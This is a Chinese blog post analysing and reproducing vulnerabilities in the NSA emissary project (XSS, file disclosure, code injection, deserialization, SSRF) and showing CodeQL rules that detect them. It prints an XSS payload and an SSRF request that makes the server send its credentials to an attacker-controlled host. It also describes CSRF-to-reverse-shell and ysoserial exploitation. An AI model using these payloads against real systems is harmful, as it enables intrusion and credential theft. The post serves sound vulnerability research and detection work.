文章目录

  • 关于<旧文系列>
  • 0x00 前言
  • 0x01 漏洞分析和复现
    • Reflected cross-site scripting (CVE-2021-32092)
    • Arbitrary File Disclosure (CVE-2021-32093)
    • Code Injection (CVE-2021-32096)
    • Unsafe deserialization (CVE-2021-32634)
    • Server-side request forgery (CVE-2021-32639)
      • SSRF-1、接口 /RegisterPeer.action
      • SSRF-2、接口 /AddChildDirectory.action
  • 0x02 小结
  • 参考

关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。

文章首发于奇安信攻防社区: https://forum.butian.net/share/604
时间:2021-08-31


0x00 前言

先是Sonarsource的安全研究员在审计NSA的开源项目emissary v5.9.0版本的过程中发现了若干漏洞,其中包括:

  • Code Injection (CVE-2021-32096)
  • Arbitrary File Upload (CVE-2021-32094)
  • Arbitrary File Disclosure (CVE-2021-32093)
  • Arbitrary File Delete (CVE-2021-32095)
  • Reflected cross-site scripting (CVE-2021-32092)

后来在浏览Github安全实验室的博客时,看到@pwntester 在Sonarsource安全研究员的基础上,使用CodeQL编写规则,在emissary项目中除了检测出以上漏洞外,还发现了新的漏洞:

  • Unsafe deserialization (CVE-2021-32634)
  • Server-side request forgery (CVE-2021-32639)

最近笔者除了在做漏洞分析外,也在学习CodeQL的使用,刚好可以用emissary项目来练手。

0x01 漏洞分析和复现

Reflected cross-site scripting (CVE-2021-32092)

这个XSS漏洞发生在一个文档上传功能里,上传文档后通过/emissary/Document.action/{uuid}接口来获取文档的信息,uuid参数对应的不同的文档。当uuid不存在时,返回一个XML格式的内容,提示uuid不存在, 但传入的uuid参数未经任何的安全过滤就原样显示在回显文本中,可导致反射型XSS。关键代码如下图:

由于返回的文本是XML格式,可在XSS-Cheat-Sheet中找到在XML文件中执行的PoC,如下:

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>


该漏洞使用CodeQL最新版本的默认规则集可以检测出来,如下图:

而如果使用较旧的版本(应该是今年6月份以前的版本),使用默认的规则集无法检测出该XSS,看CodeQL对应的提交记录,应该是之前没有考虑到响应类型为:application/xml,从而导致漏报(个人愚见,不一定对…)。另外,还针对XSS的误报方面进行了改进,忽略了响应类型为application/json的情况。对应的改进实现见:XSS改进

Arbitrary File Disclosure (CVE-2021-32093)

漏洞发生在接口/emissary/ConfigFile.action,该接口没有对传入的参数ConfigItem做任何安全校验和过滤,导致可读取服务器上任意文件。关键代码如下:


示例如下,读取系统文件,及读取emissary的配置文件获取用户名/密码:


该漏洞使用CodeQL的默认规则集可以检测出来,如下图:

Code Injection (CVE-2021-32096)

该漏洞出现在接口/emissary/Console.action,该接口允许用户执行Ruby代码。关键代码如下:



这个是emissary提供的功能。另外,该接口需要登录后才能调用。但由于emissary的用户认证使用的是HTTP摘要认证(HTTP Digest authentication)(参考[3]),在浏览器端登录后的HTTP请求,会自动带上请求头Authorization,如下:

GET / HTTP/1.1
Host: 192.168.3.56:8001
Authorization: Digest username="emissary", realm="EmissaryRealm", nonce="6GNGeEbPjv0BCgLtxLiqHifkF1eNRMM3", uri="/", algorithm=MD5, response="daa5a9a9144b7665f5ff1f5585d3432f", qop=auth, nc=00000001, cnonce="9f3c3b06c42dba3b"

这种认证方式可以被CSRF攻击。所以可构造页面让登录用户去访问,从而获取反弹shell,如下GIF图演示:

这个漏洞,使用目前CodeQL的默认规则集是检测不出来的,尽管默认规则集确实已覆盖了javax.script.ScriptEngine.eval(),所以应该是因为某种原因导致sourcesink之间的通路断了。下面通过代码来分析下原因。

getOrCreateConsole(request) 将调用 RubyConsole.getConsole(),其实现如下:

这里会启动一个线程,线程执行的代码见RubyConsole.run():

当调用ruby​​ConsolePost()方法时,RubyConsole.run()由于 stringToEvalnull,会执行wait()立马使当前线程进入挂起状态。

然后再回到接口的执行方法rubyConsolePost(),后面会执行console.evalAndWait()去执行Ruby代码:


可以看到evalAndWait()方法里并没有直接调用eval()方法,而是将要执行的ruby代码字符串赋值给全局变量stringToEval,然后调用notifyAll()方法来唤醒所有等待状态的线程,所以RubyConsole.run()方法继续往下执行,调用javax.script.ScriptEngine.eval()去执行Ruby代码。

综上可判断:使用默认的规则集检测的过程中,从/Console.actionconsole.evalAndWait(),由于javax.script.ScriptEngine.eval()没有在console.evalAndWait()里被调用,所以这个数据流就断了。所以检测不出来。

因此,得通过编写CodeQL额外的污点步骤,把这个数据通路给连接起来。这里直接引用了@pwntester编写的CodeQL规则,如下:

class NotifyWaitTaintStep extends TaintTracking::AdditionalTaintStep {override predicate step(DataFlow::Node n1, DataFlow::Node n2) {exists(MethodAccess notify, MethodAccess wait, SynchronizedStmt notifySync, SynchronizedStmt waitSync |notify.getMethod().hasQualifiedName("java.lang", "Object", ["notify", "notifyAll"]) andnotify.getAnEnclosingStmt() = notifySync andwait.getMethod().hasQualifiedName("java.lang", "Object", "wait") andwait.getAnEnclosingStmt() = waitSync andwaitSync.getExpr().getType() = notifySync.getExpr().getType() andexists(AssignExpr write, FieldAccess read |write.getAnEnclosingStmt() = notifySync andwrite = n1.asExpr() andread.getAnEnclosingStmt() = waitSync andread.getField() = write.getDest().(FieldAccess).getField() andread = n2.asExpr()))}
}

可将这段代码添加到CodeQL默认的代码注入规则文件ql/java/ql/src/experimental/Security/CWE/CWE-094/ScriptInjection.ql中,再运行查询,就能检测出该漏洞了,如下图:

Unsafe deserialization (CVE-2021-32634)

该漏洞发生在接口/emissary/WorkSpaceClientEnqueue.action,代码如下图:

可以看到参数WorkSpaceAdapter.WORK_BUNDLE_OBJ在第52、53行被读取并反序列化。而且emissary依赖了commons-collections-3.2.1,所以可以使用ysoserial生成CC链的payload进行反序列化攻击。由于这个接口也是登录后才可调用,因此可配合CSRF进行利用。

该漏洞使用CodeQL的默认规则集可以检测出来,如下图:

Server-side request forgery (CVE-2021-32639)

这里有两个接口存在SSRF漏洞,分别是/emissary/RegisterPeer.action/emissary/AddChildDirectory.action

这两处SSRF漏洞,使用CodeQL的默认规则集可以检测出来,如图:

SSRF-1、接口 /RegisterPeer.action

漏洞输入点在directoryName参数。
可构造payload如下:

POST /emissary/RegisterPeer.action HTTP/1.1
Host: 127.0.0.1:8001
Content-Type: application/x-www-form-urlencodeddirectoryName=foo.bar.baz.http://172.20.10.3:5000/&targetDir=http://localhost:8001/DirectoryPlace

SSRF一般用于未授权访问、扫描或攻击目标的内部网络。但是这里@pwntester根据emissary的实际情况给出了另一种攻击场景。通过分析代码发现,emissary使用Apache的HttpClient库来向内部网络发起http请求,它从自身配置中获取身份凭证,并将身份凭证设置到名为CRED_PROV的凭证提供者对象中,然后带着这个身份凭证向目标服务发起Http请求。在这个过程中,并没有配置emissary客户端使用哪种身份认证机制(HTTP Basic Authentication或HTTP Digest Authentication),所以判断:使用哪种身份认证机制应该是根据HTTP服务器的响应来决定的。具体代码如下:

因此,我们就可以架设一个HTTP基础认证的服务器,然后通过emissary的SSRF漏洞,让emissary客户端使用HTTP基础认证方式去访问我们的服务器,这样,我们在恶意服务器端就能获取用户身份凭证的明文数据(Base64编码)。

经实践,发现确实是这样。

1、首先编写并启动我们的HTTP Basic Authentication服务器;
2、使用上面的payload,对emissary执行SSRF攻击,如下图,会带着身份凭证的明文数据(Base64编码)向我们的目标服务器发起请求:

因此emissary项目的维护者在修复SSRF漏洞的同时,还指定了emissary客户端使用HTTP摘要认证机制。如下图,详见修复代码:

SSRF-2、接口 /AddChildDirectory.action

/AddChildDirectory.action接口同理,就不展开说了。

0x02 小结

  • CodeQL在一定程度上,依赖于安全人员的技术能力。但随着该项目的活跃,安全社区会有越来越多的人提交优质的CodeQL查询规则,来增强它的默认规则集。
  • CodeQL无论是在代码审计挖洞,还是分析Nday方面,都是非常值得学习的工具。

参考

[1] https://blog.sonarsource.com/code-vulnerabilities-in-nsa-application-revealed
[2] https://securitylab.github.com/research/NSA-emissary/
[3] https://blog.csdn.net/andrewpj/article/details/45727853

[旧文系列] NSA emissary多个漏洞分析复现和CodeQL实践相关推荐

  1. Cisco ASA、FTD和HyperFlex HX的漏洞分析复现

    一.Cisco ASA设备任意文件删除漏洞 CVE-2020-3187 漏洞描述 Cisco ASA Software和FTD Software中的Web服务接口存在路径遍历漏洞,该漏洞源于程序没有对 ...

  2. 物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现

    https://www.rapid7.de/db/modules/exploit/linux/http/dlink_hedwig_cgi_bof 这个栈溢出的原因是由于cookie的值过长导致的栈溢出 ...

  3. thinkphp漏洞_【组件攻击链】ThinkCMF 高危漏洞分析与利用

    一.组件介绍 1.1 基本信息 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形 ...

  4. CVE-2022-26923漏洞分析

    漏洞简介 2022年5月10日,微软发布补丁修复了一个AD域权限提升漏洞(CVE-2022–26923).该漏洞是由于在申请证书时对AD域中的计算机账户身份审核不够严格,经过身份验证的攻击者可以操纵他 ...

  5. 美国国家安全局(NSA)“酸狐狸”漏洞攻击武器平台技术分析报告

    本文转载自"CVERC "官网  作者:国家计算机病毒应急处理中心 近日,国家计算机病毒应急处理中心对美国家安全局(NSA)"酸狐狸"漏洞攻击武器平台(FoxA ...

  6. 美国国家安全局(NSA)“酸狐狸”漏洞攻击武器平台

    近日,国家计算机病毒应急处理中心对美国家安全局(NSA)"酸狐狸"漏洞攻击武器平台(FoxAcid)进行了技术分析.该漏洞攻击武器平台是美国国家安全局(NSA)特定入侵行动办公室( ...

  7. PDF签名系列(1):PDF签名机制的漏洞分析

    来源:PDF签名系列(1):PDF签名机制的漏洞分析 - 知乎 研究PDF文件的签名机制有一段时间了,刚开始学习的时候就看到有提到说,被签名的PDF内容的Range gap,会成为这个机制的漏洞,但是 ...

  8. 【旧文新读】解释“闭包”需要几行代码?

    新读(2017年10月19日) 本文写于 2013年06月16日,今天做了一点修改,所谓修改,其实只是删去了几句不影响技术内容的话.关于闭包,我最近写了一篇新的文章,提到了静态作用域,相比本文,是对闭 ...

  9. 百度BCC云解析配置(新旧文档对比) - (文档篇)

    百度BCC云解析配置流程 · 新旧文档对比 百度提示: 如何修改NS服务器地址呢? 查看详情 配置流程: 序号 步骤说明 旧版地址 新版地址 新版 1. 添加域名 查看 查看 .附参考2 下载文档 2 ...

最新文章

  1. freemarker-ide eclipse安装地址 安装方法 页面静态化
  2. 实验四 查找和排序算法实现
  3. 基于openfire+smack的Android、消息推送服务
  4. boost::signals2::shared_connection_block相关的测试程序
  5. JavaScript立即执行函数学习
  6. 创业公司用 Serverless,到底香不香?
  7. 2s相机 android6,Android Camera2 使用总结
  8. 从无到有整合SpringMVC-MyBatis项目(3):整合SpringMVC+Mybatis
  9. 2020-01-14 IP/TCP/UDP 对应的RFC编号
  10. ndr4108贴片晶振是多少频率_流处理器、核心频率、 位宽……这些显卡参数你知道吗?—— 电脑硬件科普篇(八)...
  11. Linux学习——gcc编译C程序
  12. 解决Hash冲突的两种策略
  13. 微型计算机中Ron4,第一章 计算机文化
  14. win10更新失败导致电脑不能开机怎么办
  15. 设计模式 | 观察者模式及典型应用
  16. 你了解眼角膜移植术吗?哪些眼疾需要接受角膜移植呢?
  17. android transact,Android Native层Binder.transact()函数调用 Binder.onTransact() 函数失败分析...
  18. 一文简单理解反向代理和正向代理模型
  19. 阿里云周晶:基于融合与协同的边缘云原生体系实践
  20. JS - 利用performance.timing进行性能分析

热门文章

  1. 【转载】缓存策略-Cache aside旁路缓存
  2. 工程流体力学笔记暂记26 (流体在圆管的湍流流动)
  3. Unix/Linux编程:SIGHUP信号
  4. mysql-5.7.42 安装教程
  5. C#WinForm开发笔记——基本控件(二)
  6. 【软考-中级】系统集成项目管理工程师-【10 项目质量管理】
  7. 人工蜂群算法详解(附代码下载)
  8. 转贴:生活中几招省钱的小窍门
  9. 一个F范数对矩阵求导例子
  10. 品达通用权限系统(Day 5~Day 6)